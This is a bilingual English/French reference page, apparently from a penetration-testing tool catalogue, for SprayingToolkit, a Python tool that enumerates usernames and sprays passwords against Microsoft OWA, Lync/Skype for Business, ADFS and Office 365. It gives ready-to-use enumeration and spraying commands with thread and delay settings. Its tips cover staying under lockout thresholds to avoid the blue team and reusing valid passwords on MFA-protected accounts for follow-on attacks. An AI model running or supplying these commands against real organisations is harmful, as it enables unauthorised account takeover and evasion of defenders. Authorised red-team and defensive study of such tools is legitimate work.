SprayingToolkit

Encapsule et accélère les attaques de password spraying contre Microsoft O365, OWA, Lync/Skype for Business et ADFS. Wraps and speeds up password spraying attacks against Microsoft O365, OWA, Lync/Skype for Business, and ADFS.

↗ https://github.com/byt3bl33d3r/SprayingToolkit

Overview

SprayingToolkit is a set of Python wrappers around common Microsoft-facing authentication endpoints — OWA, Lync/Skype for Business, ADFS, and Office 365 — that automates username enumeration and password spraying against them at scale. It builds on the older LyncSniper/MailSniper-style techniques but wraps them into faster, threaded scripts (atomizer.py for spraying, lyncsmash.py for enumeration/recon) with built-in delay/jitter to reduce lockout risk.

Common Usage

Enumerate valid usernames via Lync/Skype for Business autodiscover

python lyncsmash.py enumerate <target> userlist.txt

Spray a single password against OWA

python atomizer.py owa <target> userlist.txt 'Summer2026!' -t 3 -d 30

Spray against Office 365 directly (no on-prem target needed)

python atomizer.py o365 userlist.txt 'Summer2026!' -t 3

Spray against ADFS

python atomizer.py adfs <adfs_target> userlist.txt 'Summer2026!'

Tips

  • -t (threads) and -d (delay between attempts) control spray speed — keep both conservative against on-prem AD, since a lockout here can be very visible to blue team
  • Office 365 spraying doesn’t need internal network access at all — it’s often the first thing tried once a valid username list exists
  • Cross-reference hits against MFA status; a valid password against an MFA-protected account is still useful for follow-on attacks (device registration abuse, legacy auth endpoints)
Help / Man page
atomizer.py <module> <target> <userlist> <password> [options]

Modules: owa | ews | lync | adfs | o365

  target            target hostname/IP (not required for o365 module)
  userlist           file with one username per line
  password            single password to spray

Options:
  -t THREADS        number of concurrent threads (default: 1)
  -d DELAY           delay in seconds between attempts
  -oJ FILE            write results as JSON

lyncsmash.py enumerate <target> <userlist>
  performs autodiscover-based username enumeration against Lync/S4B

Vue d’ensemble

SprayingToolkit est un ensemble de wrappers Python autour des points de terminaison d’authentification Microsoft courants : OWA, Lync/Skype for Business, ADFS et Office 365, qui automatise l’énumération de noms d’utilisateurs et le password spraying à grande échelle contre ceux-ci. Il s’appuie sur les techniques plus anciennes de type LyncSniper/MailSniper, mais les encapsule dans des scripts plus rapides et threadés (atomizer.py pour le spraying, lyncsmash.py pour l’énumération/la reconnaissance) avec un délai/jitter intégré pour réduire le risque de verrouillage.

Utilisation courante

# Énumérer des noms d'utilisateurs valides via l'autodiscover Lync/Skype for Business
python lyncsmash.py enumerate <target> userlist.txt

# Sprayer un seul mot de passe contre OWA
python atomizer.py owa <target> userlist.txt 'Summer2026!' -t 3 -d 30

# Sprayer directement contre Office 365 (aucune cible on-prem nécessaire)
python atomizer.py o365 userlist.txt 'Summer2026!' -t 3

# Sprayer contre ADFS
python atomizer.py adfs <adfs_target> userlist.txt 'Summer2026!'

Conseils

  • -t (threads) et -d (délai entre essais) contrôlent la vitesse du spray : garder les deux conservateurs contre un AD on-prem, car un verrouillage ici peut être très visible pour la blue team
  • Le spraying Office 365 ne nécessite aucun accès au réseau interne : c’est souvent la première chose testée une fois qu’une liste de noms d’utilisateurs valides existe
  • Croiser les résultats positifs avec le statut MFA ; un mot de passe valide sur un compte protégé par MFA reste utile pour des attaques de suivi (abus d’enregistrement d’appareil, points de terminaison d’authentification legacy)
Aide / Page de manuel
atomizer.py <module> <target> <userlist> <password> [options]

Modules: owa | ews | lync | adfs | o365

  target            target hostname/IP (not required for o365 module)
  userlist           file with one username per line
  password            single password to spray

Options:
  -t THREADS        number of concurrent threads (default: 1)
  -d DELAY           delay in seconds between attempts
  -oJ FILE            write results as JSON

lyncsmash.py enumerate <target> <userlist>
  performs autodiscover-based username enumeration against Lync/S4B